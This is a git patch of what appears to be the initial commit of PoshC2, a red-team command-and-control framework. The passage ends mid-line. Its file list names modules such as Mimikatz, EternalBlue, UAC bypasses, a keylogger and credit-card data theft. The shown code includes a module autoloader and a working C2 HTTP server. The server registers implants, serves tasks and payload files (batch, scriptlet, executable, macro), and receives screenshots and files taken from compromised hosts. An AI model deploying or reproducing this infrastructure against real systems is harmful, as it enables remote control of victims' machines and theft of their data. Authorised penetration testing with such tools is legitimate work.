From da14f3d86f538a8c46b925972db805c280848524 Mon Sep 17 00:00:00 2001 From: benpturner Date: Mon, 23 Jul 2018 09:55:15 +0100 Subject: [PATCH] Initial Commit --- .gitignore | 92 + AutoLoads.py | 132 + C2Server.py | 299 + C2Viewer.py | 87 + Cert.py | 41 + Colours.py | 8 + Config.py | 109 + Core.py | 115 + DB.py | 573 + Files/Posh.cs | 107 + Files/Shellcode.c | 69 + Files/Shellcode_migrate.c | 66 + Files/firewall.png | Bin 0 -> 5765 bytes Files/implant.png | Bin 0 -> 10962 bytes HTML.py | 336 + Help.py | 306 + INSTALL.txt | 19 + INSTALL_Socks.txt | 39 + INSTALL_Windows.txt | 21 + Images/cat.png | Bin 0 -> 1168 bytes Images/d.png | Bin 0 -> 378 bytes Images/dog.png | Bin 0 -> 869 bytes Images/fb.jpg | Bin 0 -> 594 bytes Images/fg.png | Bin 0 -> 570 bytes Images/i.png | Bin 0 -> 455 bytes Images/in.png | Bin 0 -> 611 bytes Images/paw.png | Bin 0 -> 332 bytes Images/pn.png | Bin 0 -> 722 bytes Images/we.gif | Bin 0 -> 1233 bytes Implant.py | 472 + ImplantHandler.py | 908 + Install.sh | 71 + LICENSE | 3 +- Modules/BloodHound.ps1 | 6319 +++++++ Modules/Brute-AD.ps1 | 94 + Modules/Brute-LocAdmin.ps1 | 55 + Modules/Bypass-UAC.ps1 | 1558 ++ Modules/CVE-2016-9192.ps1 | 159 + Modules/ConvertTo-Shellcode.ps1 | 603 + Modules/Cred-Popper.ps1 | 33 + Modules/Decrypt-RDCMan.ps1 | 58 + Modules/Dump-NTDS.ps1 | 35 + Modules/Exploit-EternalBlue.ps1 | 719 + Modules/Get-ComputerInfo.ps1 | 405 + Modules/Get-CreditCardData.ps1 | 48 + Modules/Get-FirewallRules.ps1 | 53 + Modules/Get-GPPAutologon.ps1 | 140 + Modules/Get-GPPPassword.ps1 | 247 + Modules/Get-IdleTime.ps1 | 15 + Modules/Get-Keystrokes.ps1 | 253 + Modules/Get-LocAdm.ps1 | 30 + Modules/Get-MSHotFixes.ps1 | 48 + Modules/Get-Netstat.ps1 | 380 + Modules/Get-PassNotExp.ps1 | 24 + Modules/Get-PassPol.ps1 | 25 + Modules/Get-RecentFiles.ps1 | 22 + Modules/Get-ServicePerms.ps1 | 29 + Modules/Get-System.ps1 | 590 + Modules/Get-UserInfo.ps1 | 43 + Modules/Get-WLANPass.ps1 | 14 + Modules/HostEnum.ps1 | 5057 +++++ Modules/Implant-Core.ps1 | 772 + Modules/Inject-Shellcode.ps1 | 227 + Modules/Inveigh-Relay.ps1 | 1894 ++ Modules/Inveigh.ps1 | 4793 +++++ Modules/Invoke-Arpscan.ps1 | 527 + Modules/Invoke-DCSync.ps1 | 3108 +++ Modules/Invoke-DaisyChain.ps1 | 244 + Modules/Invoke-EventVwrBypass.ps1 | 82 + Modules/Invoke-Hostscan.ps1 | 283 + Modules/Invoke-MS16-032-Proxy.ps1 | 2661 +++ Modules/Invoke-MS16-032.ps1 | 2661 +++ Modules/Invoke-Mimikatz.ps1 | 2836 +++ Modules/Invoke-PSInject.ps1 | 2876 +++ Modules/Invoke-Pbind.ps1 | 838 + Modules/Invoke-Pipekat.ps1 | 606 + Modules/Invoke-Portscan.ps1 | 1084 ++ Modules/Invoke-PowerDump.ps1 | 497 + Modules/Invoke-PsExec.ps1 | 2778 +++ Modules/Invoke-PsUACme.ps1 | 417 + Modules/Invoke-ReflectivePEInjection.ps1 | 2977 +++ Modules/Invoke-ReverseDnsLookup.ps1 | 220 + Modules/Invoke-RunAs.ps1 | 317 + Modules/Invoke-SMBExec.ps1 | 2481 +++ Modules/Invoke-Shellcode.ps1 | 698 + Modules/Invoke-Sniffer.ps1 | 455 + Modules/Invoke-SqlQuery.ps1 | 53 + Modules/Invoke-Tater.ps1 | 1817 ++ Modules/Invoke-TheHash.ps1 | 243 + Modules/Invoke-TokenManipulation.ps1 | 1913 ++ Modules/Invoke-WMIChecker.ps1 | 408 + Modules/Invoke-WMICommand.ps1 | 327 + Modules/Invoke-WMIExec.ps1 | 1667 ++ Modules/Invoke-WScriptBypassUAC.ps1 | 193 + Modules/Invoke-WinRMSession.ps1 | 26 + Modules/NamedPipe.ps1 | 42 + Modules/NamedPipeDaisy.ps1 | 42 + Modules/NamedPipeProxy.ps1 | 42 + Modules/Out-Minidump.ps1 | 130 + Modules/PortScanner.ps1 | 41 + Modules/PowerUp.ps1 | 2295 +++ Modules/PowerView_dev.ps1 | 20914 +++++++++++++++++++++ Modules/Service-Perms.ps1 | 364 + Modules/Set-LHSTokenPrivilege.ps1 | 202 + Modules/SharpSocks.ps1 | 236 + Modules/Sherlock.ps1 | 509 + Modules/Test-ADCredential.ps1 | 12 + Modules/Zippy.ps1 | 133 + Modules/powercat.ps1 | 946 + Modules/powerview.ps1 | 20473 ++++++++++++++++++++ Payloads.py | 442 + README.md | 12 + TabComplete.py | 45 + Tasks.py | 66 + Update.sh | 33 + poshc2.service | 22 + requirements.txt | 4 + 117 files changed, 110912 insertions(+), 1 deletion(-) create mode 100644 .gitignore create mode 100644 AutoLoads.py create mode 100644 C2Server.py create mode 100644 C2Viewer.py create mode 100644 Cert.py create mode 100644 Colours.py create mode 100644 Config.py create mode 100644 Core.py create mode 100644 DB.py create mode 100755 Files/Posh.cs create mode 100644 Files/Shellcode.c create mode 100644 Files/Shellcode_migrate.c create mode 100644 Files/firewall.png create mode 100644 Files/implant.png create mode 100644 HTML.py create mode 100644 Help.py create mode 100644 INSTALL.txt create mode 100644 INSTALL_Socks.txt create mode 100644 INSTALL_Windows.txt create mode 100755 Images/cat.png create mode 100755 Images/d.png create mode 100755 Images/dog.png create mode 100755 Images/fb.jpg create mode 100755 Images/fg.png create mode 100755 Images/i.png create mode 100755 Images/in.png create mode 100755 Images/paw.png create mode 100755 Images/pn.png create mode 100755 Images/we.gif create mode 100644 Implant.py create mode 100644 ImplantHandler.py create mode 100755 Install.sh create mode 100644 Modules/BloodHound.ps1 create mode 100644 Modules/Brute-AD.ps1 create mode 100644 Modules/Brute-LocAdmin.ps1 create mode 100644 Modules/Bypass-UAC.ps1 create mode 100644 Modules/CVE-2016-9192.ps1 create mode 100644 Modules/ConvertTo-Shellcode.ps1 create mode 100755 Modules/Cred-Popper.ps1 create mode 100644 Modules/Decrypt-RDCMan.ps1 create mode 100644 Modules/Dump-NTDS.ps1 create mode 100644 Modules/Exploit-EternalBlue.ps1 create mode 100644 Modules/Get-ComputerInfo.ps1 create mode 100644 Modules/Get-CreditCardData.ps1 create mode 100644 Modules/Get-FirewallRules.ps1 create mode 100644 Modules/Get-GPPAutologon.ps1 create mode 100644 Modules/Get-GPPPassword.ps1 create mode 100644 Modules/Get-IdleTime.ps1 create mode 100644 Modules/Get-Keystrokes.ps1 create mode 100644 Modules/Get-LocAdm.ps1 create mode 100644 Modules/Get-MSHotFixes.ps1 create mode 100644 Modules/Get-Netstat.ps1 create mode 100644 Modules/Get-PassNotExp.ps1 create mode 100644 Modules/Get-PassPol.ps1 create mode 100644 Modules/Get-RecentFiles.ps1 create mode 100644 Modules/Get-ServicePerms.ps1 create mode 100644 Modules/Get-System.ps1 create mode 100644 Modules/Get-UserInfo.ps1 create mode 100644 Modules/Get-WLANPass.ps1 create mode 100644 Modules/HostEnum.ps1 create mode 100644 Modules/Implant-Core.ps1 create mode 100644 Modules/Inject-Shellcode.ps1 create mode 100644 Modules/Inveigh-Relay.ps1 create mode 100644 Modules/Inveigh.ps1 create mode 100644 Modules/Invoke-Arpscan.ps1 create mode 100644 Modules/Invoke-DCSync.ps1 create mode 100755 Modules/Invoke-DaisyChain.ps1 create mode 100644 Modules/Invoke-EventVwrBypass.ps1 create mode 100644 Modules/Invoke-Hostscan.ps1 create mode 100644 Modules/Invoke-MS16-032-Proxy.ps1 create mode 100644 Modules/Invoke-MS16-032.ps1 create mode 100644 Modules/Invoke-Mimikatz.ps1 create mode 100644 Modules/Invoke-PSInject.ps1 create mode 100644 Modules/Invoke-Pbind.ps1 create mode 100644 Modules/Invoke-Pipekat.ps1 create mode 100644 Modules/Invoke-Portscan.ps1 create mode 100644 Modules/Invoke-PowerDump.ps1 create mode 100644 Modules/Invoke-PsExec.ps1 create mode 100644 Modules/Invoke-PsUACme.ps1 create mode 100644 Modules/Invoke-ReflectivePEInjection.ps1 create mode 100644 Modules/Invoke-ReverseDnsLookup.ps1 create mode 100644 Modules/Invoke-RunAs.ps1 create mode 100644 Modules/Invoke-SMBExec.ps1 create mode 100644 Modules/Invoke-Shellcode.ps1 create mode 100644 Modules/Invoke-Sniffer.ps1 create mode 100644 Modules/Invoke-SqlQuery.ps1 create mode 100644 Modules/Invoke-Tater.ps1 create mode 100644 Modules/Invoke-TheHash.ps1 create mode 100644 Modules/Invoke-TokenManipulation.ps1 create mode 100644 Modules/Invoke-WMIChecker.ps1 create mode 100644 Modules/Invoke-WMICommand.ps1 create mode 100644 Modules/Invoke-WMIExec.ps1 create mode 100644 Modules/Invoke-WScriptBypassUAC.ps1 create mode 100644 Modules/Invoke-WinRMSession.ps1 create mode 100644 Modules/NamedPipe.ps1 create mode 100644 Modules/NamedPipeDaisy.ps1 create mode 100644 Modules/NamedPipeProxy.ps1 create mode 100644 Modules/Out-Minidump.ps1 create mode 100644 Modules/PortScanner.ps1 create mode 100644 Modules/PowerUp.ps1 create mode 100644 Modules/PowerView_dev.ps1 create mode 100644 Modules/Service-Perms.ps1 create mode 100644 Modules/Set-LHSTokenPrivilege.ps1 create mode 100644 Modules/SharpSocks.ps1 create mode 100644 Modules/Sherlock.ps1 create mode 100644 Modules/Test-ADCredential.ps1 create mode 100644 Modules/Zippy.ps1 create mode 100644 Modules/powercat.ps1 create mode 100644 Modules/powerview.ps1 create mode 100644 Payloads.py create mode 100644 README.md create mode 100644 TabComplete.py create mode 100644 Tasks.py create mode 100755 Update.sh create mode 100644 poshc2.service create mode 100644 requirements.txt diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..3a48d66 --- /dev/null +++ b/.gitignore @@ -0,0 +1,92 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class +*.pyc +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover +.hypothesis/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# IPython Notebook +.ipynb_checkpoints + +# pyenv +.python-version + +# celery beat schedule file +celerybeat-schedule + +# dotenv +.env + +# virtualenv +venv/ +ENV/ + +# vim backup +*.swp + +# Spyder project settings +.spyderproject + +# Rope project settings +.ropeproject diff --git a/AutoLoads.py b/AutoLoads.py new file mode 100644 index 0000000..de11288 --- /dev/null +++ b/AutoLoads.py @@ -0,0 +1,132 @@ +#!/usr/bin/python + +from DB import * +from Config import * +import os + +def check_module_loaded( module_name, randomuri, force=False ): + try: + modules_loaded = select_mods(randomuri) + if force: + for modname in os.listdir("%s/Modules/" % POSHDIR): + if modname.lower() in module_name.lower(): + module_name = modname + file = open(("%sModules/%s" % (POSHDIR,module_name)), "r") + module = file.read() + new_task(("loadmodule %s" % module_name), randomuri) + if modules_loaded: + new_modules_loaded = "%s %s" % (modules_loaded, module_name) + if module_name in modules_loaded: + loaded = "YES" + else: + for modname in os.listdir("%s/Modules/" % POSHDIR): + if modname.lower() in module_name.lower(): + module_name = modname + file = open(("%sModules/%s" % (POSHDIR,module_name)), "r") + module = file.read() + new_task(("loadmodule %s" % module_name), randomuri) + update_mods(new_modules_loaded, randomuri) + else: + new_modules_loaded = "%s" % (module_name) + file = open(("%sModules/%s" % (POSHDIR,module_name)), "r") + module = file.read() + new_task(("loadmodule %s" % module_name), randomuri) + update_mods(new_modules_loaded, randomuri) + except Exception as e: + print "Error loadmodule: %s" % e + +def run_autoloads(command, randomuri): + if "invoke-eternalblue" in command.lower(): check_module_loaded("Exploit-EternalBlue.ps1", randomuri) + if "invoke-psuacme" in command.lower(): check_module_loaded("Invoke-PsUACme.ps1", randomuri) + if "bloodhound" in command.lower(): check_module_loaded("BloodHound.ps1", randomuri) + if "brute-ad" in command.lower(): check_module_loaded("Brute-AD.ps1", randomuri) + if "brute-locadmin" in command.lower(): check_module_loaded("Brute-LocAdmin.ps1", randomuri) + if "bypass-uac" in command.lower(): check_module_loaded("Bypass-UAC.ps1", randomuri) + if "cred-popper" in command.lower(): check_module_loaded("Cred-Popper.ps1", randomuri) + if "cve-2016-9192" in command.lower(): check_module_loaded("CVE-2016-9192.ps1", randomuri) + if "convertto-shellcode" in command.lower(): check_module_loaded("ConvertTo-Shellcode.ps1", randomuri) + if "decrypt-rdcman" in command.lower(): check_module_loaded("Decrypt-RDCMan.ps1", randomuri) + if "dump-ntds" in command.lower(): check_module_loaded("Dump-NTDS.ps1", randomuri) + if "get-computerinfo" in command.lower(): check_module_loaded("Get-ComputerInfo.ps1", randomuri) + if "get-creditcarddata" in command.lower(): check_module_loaded("Get-CreditCardData.ps1", randomuri) + if "get-gppautologon" in command.lower(): check_module_loaded("Get-GPPAutologon.ps1", randomuri) + if "get-gpppassword" in command.lower(): check_module_loaded("Get-GPPPassword.ps1", randomuri) + if "get-idletime" in command.lower(): check_module_loaded("Get-IdleTime.ps1", randomuri) + if "get-keystrokes" in command.lower(): check_module_loaded("Get-Keystrokes.ps1", randomuri) + if "get-locadm" in command.lower(): check_module_loaded("Get-LocAdm.ps1", randomuri) + if "get-mshotfixes" in command.lower(): check_module_loaded("Get-MSHotFixes.ps1", randomuri) + if "get-netstat" in command.lower(): check_module_loaded("Get-Netstat.ps1", randomuri) + if "get-passnotexp" in command.lower(): check_module_loaded("Get-PassNotExp.ps1", randomuri) + if "get-passpol" in command.lower(): check_module_loaded("Get-PassPol.ps1", randomuri) + if "get-recentfiles" in command.lower(): check_module_loaded("Get-RecentFiles.ps1", randomuri) + if "get-serviceperms" in command.lower(): check_module_loaded("Get-ServicePerms.ps1", randomuri) + if "get-userinfo" in command.lower(): check_module_loaded("Get-UserInfo.ps1", randomuri) + if "get-wlanpass" in command.lower(): check_module_loaded("Get-WLANPass.ps1", randomuri) + if "invoke-pbind" in command.lower(): check_module_loaded("Invoke-Pbind.ps1", randomuri) + if "get-domaingroupmember" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "invoke-kerberoast" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "invoke-userhunter" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "invoke-hostenum" in command.lower(): check_module_loaded("HostEnum.ps1", randomuri) + if "inject-shellcode" in command.lower(): check_module_loaded("Inject-Shellcode.ps1", randomuri) + if "inveigh-relay" in command.lower(): check_module_loaded("Inveigh-Relay.ps1", randomuri) + if "inveigh" in command.lower(): check_module_loaded("Inveigh.ps1", randomuri) + if "invoke-arpscan" in command.lower(): check_module_loaded("Invoke-Arpscan.ps1", randomuri) + if "arpscan" in command.lower(): check_module_loaded("Invoke-Arpscan.ps1", randomuri) + if "invoke-dcsync" in command.lower(): check_module_loaded("Invoke-DCSync.ps1", randomuri) + if "invoke-eventvwrbypass" in command.lower(): check_module_loaded("Invoke-EventVwrBypass.ps1", randomuri) + if "invoke-hostscan" in command.lower(): check_module_loaded("Invoke-Hostscan.ps1", randomuri) + if "invoke-ms16-032-proxy" in command.lower(): check_module_loaded("Invoke-MS16-032-Proxy.ps1", randomuri) + if "invoke-ms16-032" in command.lower(): check_module_loaded("Invoke-MS16-032.ps1", randomuri) + if "invoke-mimikatz" in command.lower(): check_module_loaded("Invoke-Mimikatz.ps1", randomuri) + if "invoke-psinject" in command.lower(): check_module_loaded("Invoke-PSInject.ps1", randomuri) + if "invoke-pipekat" in command.lower(): check_module_loaded("Invoke-Pipekat.ps1", randomuri) + if "invoke-portscan" in command.lower(): check_module_loaded("Invoke-Portscan.ps1", randomuri) + if "invoke-powerdump" in command.lower(): check_module_loaded("Invoke-PowerDump.ps1", randomuri) + if "invoke-psexec" in command.lower(): check_module_loaded("Invoke-SMBExec.ps1", randomuri) + if "invoke-reflectivepeinjection" in command.lower(): check_module_loaded("Invoke-ReflectivePEInjection.ps1", randomuri) + if "invoke-reversednslookup" in command.lower(): check_module_loaded("Invoke-ReverseDnsLookup.ps1", randomuri) + if "invoke-runas" in command.lower(): check_module_loaded("Invoke-RunAs.ps1", randomuri) + if "invoke-smblogin" in command.lower(): check_module_loaded("Invoke-SMBExec.ps1", randomuri) + if "invoke-smbexec" in command.lower(): check_module_loaded("Invoke-SMBExec.ps1", randomuri) + if "invoke-psexec" in command.lower(): check_module_loaded("Invoke-SMBExec.ps1", randomuri) + if "invoke-shellcode" in command.lower(): check_module_loaded("Invoke-Shellcode.ps1", randomuri) + if "invoke-sniffer" in command.lower(): check_module_loaded("Invoke-Sniffer.ps1", randomuri) + if "invoke-sqlquery" in command.lower(): check_module_loaded("Invoke-SqlQuery.ps1", randomuri) + if "invoke-tater" in command.lower(): check_module_loaded("Invoke-Tater.ps1", randomuri) + if "invoke-thehash" in command.lower(): check_module_loaded("Invoke-TheHash.ps1", randomuri) + if "invoke-tokenmanipulation" in command.lower(): check_module_loaded("Invoke-TokenManipulation.ps1", randomuri) + if "invoke-wmichecker" in command.lower(): check_module_loaded("Invoke-WMIChecker.ps1", randomuri) + if "invoke-wmicommand" in command.lower(): check_module_loaded("Invoke-WMICommand.ps1", randomuri) + if "invoke-wmi" in command.lower(): check_module_loaded("Invoke-WMIExec.ps1", randomuri) + if "invoke-wscriptbypassuac" in command.lower(): check_module_loaded("Invoke-WScriptBypassUAC.ps1", randomuri) + if "invoke-winrmsession" in command.lower(): check_module_loaded("Invoke-WinRMSession.ps1", randomuri) + if "out-minidump" in command.lower(): check_module_loaded("Out-Minidump.ps1", randomuri) + if "portscan" in command.lower(): check_module_loaded("PortScanner.ps1", randomuri) + if "powercat" in command.lower(): check_module_loaded("powercat.ps1", randomuri) + if "invoke-allchecks" in command.lower(): check_module_loaded("PowerUp.ps1", randomuri) + if "set-lhstokenprivilege" in command.lower(): check_module_loaded("Set-LHSTokenPrivilege.ps1", randomuri) + if "sharpsocks" in command.lower(): check_module_loaded("SharpSocks.ps1", randomuri) + if "find-allvulns" in command.lower(): check_module_loaded("Sherlock.ps1", randomuri) + if "test-adcredential" in command.lower(): check_module_loaded("Test-ADCredential.ps1", randomuri) + if "new-zipfile" in command.lower(): check_module_loaded("Zippy.ps1", randomuri) + if "get-netuser" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "invoke-aclscanner" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-objectacl" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "add-objectacl" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-netuser" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-domainuser" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-netcomputer" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-domaincomputer" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-netuser" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-netgroup" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-netgroupmember" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-netshare" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "invoke-sharefinder" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-netdomain" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-netdomaincontroller" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-netforest" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-netforestdomain" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "invoke-mapdomaintrust" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-wmireglastloggedon" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-wmiregcachedrdpconnection" in command.lower(): check_module_loaded("powerview.ps1", randomuri) + if "get-wmiregmounteddrive" in command.lower(): check_module_loaded("powerview.ps1", randomuri) \ No newline at end of file diff --git a/C2Server.py b/C2Server.py new file mode 100644 index 0000000..931a951 --- /dev/null +++ b/C2Server.py @@ -0,0 +1,299 @@ +#!/usr/bin/env python + +import argparse, os, sys, re, datetime, time, base64, BaseHTTPServer, re, logging, ssl, signal + +from Implant import * +from Tasks import * +from Core import * +from Colours import * +from Help import * +from DB import * +from Payloads import * +from Config import * +from Cert import * + +class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): + + def signal_handler(signal, frame): + sys.exit(0) + + signal.signal(signal.SIGINT, signal_handler) + + def log_message(self, format, *args): + try: + useragent = str(self.headers['user-agent']) + except Exception as e: + useragent = "None" + + open("%swebserver.log" % ROOTDIR, "a").write("%s - [%s] %s %s\n" % + (self.address_string(),self.log_date_time_string(),format%args, useragent)) + + + def do_HEAD(s): + """Respond to a HEAD request.""" + s.server_version = ServerHeader + s.sys_version = "" + s.send_response(200) + s.send_header("Content-type", "text/html") + s.end_headers() + + def do_GET(s): + """Respond to a GET request.""" + logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(s.path), str(s.headers)) + new_implant_url = get_newimplanturl() + s.cookieHeader = s.headers.get('Cookie') + QuickCommandURI = select_item("QuickCommand", "C2Server") + s.server_version = ServerHeader + s.sys_version = "" + if s.cookieHeader: + r = "" + else: + s.cookieHeader = "NONE" + # class Tasks() + + # implant gets a new task + new_task = newTask(s.path) + + if new_task: + s.send_response(200) + s.send_header("Content-type", "text/html") + s.end_headers() + s.wfile.write(new_task) + + elif ("%s_bs" % QuickCommandURI) in s.path: + filename = "%spayload.bat" % (PayloadsDirectory) + with open(filename, 'rb') as f: + content = f.read() + s.send_response(200) + s.send_header("Content-type", "text/html") + s.end_headers() + s.wfile.write(content) + + elif ("%s_rg" % QuickCommandURI) in s.path: + filename = "%srg_sct.xml" % (PayloadsDirectory) + with open(filename, 'rb') as f: + content = f.read() + s.send_response(200) + s.send_header("Content-type", "text/html") + s.end_headers() + s.wfile.write(content) + + elif ("%s_cs" % QuickCommandURI) in s.path: + filename = "%scs_sct.xml" % (PayloadsDirectory) + with open(filename, 'rb') as f: + content = f.read() + s.send_response(200) + s.send_header("Content-type", "text/html") + s.end_headers() + s.wfile.write(content) + + elif ("%s_ex" % QuickCommandURI) in s.path: + filename = "%sPosh32.exe" % (PayloadsDirectory) + with open(filename, 'rb') as f: + content = f.read() + s.send_response(200) + s.send_header("Content-type", "application/x-msdownload") + s.end_headers() + s.wfile.write(content) + # class Implant() + # register new implant + elif new_implant_url in s.path and s.cookieHeader.startswith("SessionID"): + implant_type = "Normal" + if s.path == ("%s?p" % new_implant_url): + implant_type = "Proxy" + if s.path == ("%s?d" % new_implant_url): + implant_type = "Daisy" + if s.path == ("%s?m" % new_implant_url): + implant_type = "OSX" + + if implant_type == "OSX": + cookieVal = (s.cookieHeader).replace("SessionID=","") + decCookie = cookieVal + #decCookie = decrypt(KEY, cookieVal) + IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1]) + Domain,User,Hostname,Arch,PID,Proxy = decCookie.split(";") + newImplant = Implant(IPAddress, implant_type, Domain, User, Hostname, Arch, PID, Proxy) + newImplant.save() + newImplant.display() + responseVal = encrypt(KEY, newImplant.PythonCore) + + s.send_response(200) + s.send_header("Content-type", "text/html") + s.end_headers() + s.wfile.write(responseVal) + else: + try: + cookieVal = (s.cookieHeader).replace("SessionID=","") + decCookie = decrypt(KEY, cookieVal) + Domain,User,Hostname,Arch,PID,Proxy = decCookie.split(";") + IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1]) + newImplant = Implant(IPAddress, implant_type, Domain,User, Hostname, Arch, PID, Proxy) + newImplant.save() + newImplant.display() + newImplant.autoruns() + responseVal = encrypt(KEY, newImplant.C2Core) + + s.send_response(200) + s.send_header("Content-type", "text/html") + s.end_headers() + s.wfile.write(responseVal) + except Exception as e: + print "Decryption error: %s" % e + s.send_response(404) + s.send_header("Content-type", "text/html") + s.end_headers() + s.wfile.write(HTTPResponse) + else: + s.send_response(404) + s.send_header("Content-type", "text/html") + s.end_headers() + HTTPResponsePage = select_item("HTTPResponse", "C2Server") + if HTTPResponsePage: + s.wfile.write(HTTPResponsePage) + else: + s.wfile.write(HTTPResponse) + + def do_POST(s): + """Respond to a POST request.""" + try: + s.server_version = ServerHeader + s.sys_version = "" + content_length = int(s.headers['Content-Length']) + s.cookieHeader = s.headers.get('Cookie') + cookieVal = (s.cookieHeader).replace("SessionID=","") + post_data = s.rfile.read(content_length) + logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(s.path), str(s.headers), post_data) + + now = datetime.datetime.now() + result = get_implants_all() + for i in result: + implantID = i[0] + RandomURI = i[1] + Hostname = i[3] + encKey = i[5] + Domain = i[11] + if RandomURI in s.path and cookieVal: + decCookie = decrypt(encKey, cookieVal) + print Colours.GREEN + print "Command returned against implant %s on host %s %s (%s)" % (implantID,Hostname,Domain,now.strftime("%m/%d/%Y %H:%M:%S")) + #print decCookie,Colours.END + rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:]) + outputParsed = re.sub(r'123456(.+?)654321', '', rawoutput) + outputParsed = outputParsed.rstrip() + + if "ModuleLoaded" in decCookie: + print "Module loaded sucessfully" + insert_completedtask(RandomURI, decCookie, "Module loaded sucessfully", "") + if "get-screenshot" in decCookie.lower(): + try: + decoded = base64.b64decode(outputParsed) + filename = i[3] + "-" + now.strftime("%m%d%Y%H%M%S_"+randomuri()) + output_file = open('%s%s.png' % (DownloadsDirectory,filename), 'wb') + print "Screenshot captured: %s%s.png" % (DownloadsDirectory,filename) + insert_completedtask(RandomURI, decCookie, "Screenshot captured: %s%s.png" % (DownloadsDirectory,filename), "") + output_file.write(decoded) + output_file.close() + except Exception as e: + insert_completedtask(RandomURI, decCookie, "Screenshot not captured, the screen could be locked or this user does not have access to the screen!", "") + print "Screenshot not captured, the screen could be locked or this user does not have access to the screen!" + elif (decCookie.lower().startswith("$shellcode64")) or (decCookie.lower().startswith("$shellcode64")): + insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "") + print "Upload shellcode complete" + elif "download-file" in decCookie.lower(): + try: + rawoutput = decrypt_bytes_gzip(encKey, (post_data[1500:])) + filename = decCookie.lower().replace("download-file ","") + filename = filename.replace("..","") + filename = filename.rsplit('\\', 1)[-1] + filename = filename.rstrip('\x00') + chunkNumber = rawoutput[:5] + totalChunks = rawoutput[6:10] + print "Download file part %s of %s : %s" % (chunkNumber,totalChunks,filename) + insert_completedtask(RandomURI, decCookie, "Download file part %s of %s : %s" % (chunkNumber,totalChunks,filename), "") + output_file = open('%s/downloads/%s' % (ROOTDIR,filename), 'a') + output_file.write(rawoutput[10:]) + output_file.close() + except Exception as e: + insert_completedtask(RandomURI, decCookie, "Error downloading file %s " % e, "") + print "Error downloading file %s " % e + + else: + insert_completedtask(RandomURI, decCookie, outputParsed, "") + print Colours.GREEN + print outputParsed,Colours.END + except Exception as e: + e = "" + finally: + s.send_response(200) + s.send_header("Content-type", "text/html") + s.end_headers() + s.wfile.write(default_response()) + +if __name__ == '__main__': + server_class = BaseHTTPServer.HTTPServer + httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler) + try: + if os.name == 'nt': + os.system('cls') + else: + os.system('clear') + except Exception as e: + print "cls" + print chr(27) + "[2J" + print Colours.GREEN, logo + print Colours.END,"" + + + # KeyFile = None, CertFile = None, ClientCertCAs = None + if os.path.isfile(DB): + print "Using existing database / project",Colours.GREEN + else: + print "Initializing new project folder and database",Colours.GREEN + print "" + directory = os.path.dirname(ROOTDIR) + if not os.path.exists(directory): + os.makedirs(directory) + os.makedirs("%s/downloads" % directory) + os.makedirs("%s/reports" % directory) + os.makedirs("%s/payloads" % directory) + initializedb() + setupserver(HostnameIP,gen_key(),DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,ROOTDIR,ServerPort,QuickCommand,DownloadURI,"","","",Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer) + + C2 = get_c2server_all() + newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], + C2[13], C2[11], "", "", C2[19], C2[20], + C2[21], get_newimplanturl(), PayloadsDirectory) + + newPayload.CreateRaw() + newPayload.CreateDlls() + newPayload.CreateShellcode() + newPayload.CreateSCT() + newPayload.CreateHTA() + newPayload.CreateCS() + newPayload.CreateMacro() + newPayload.CreateEXE() + + create_self_signed_cert(ROOTDIR) + newPayload.CreatePython() + newPayload.WriteQuickstart( directory + '/quickstart.txt' ) + + print "" + print "CONNECT URL: "+select_item("HostnameIP", "C2Server")+get_newimplanturl(),Colours.GREEN + print "WEBSERVER Log: %swebserver.log" % ROOTDIR + KEY = get_baseenckey() + print "" + print time.asctime(), "PoshC2 Server Started - %s:%s" % (HOST_NAME, PORT_NUMBER) + print Colours.END + + if (os.path.isfile("%sposh.crt" % ROOTDIR)) and (os.path.isfile("%sposh.key" % ROOTDIR)): + httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, 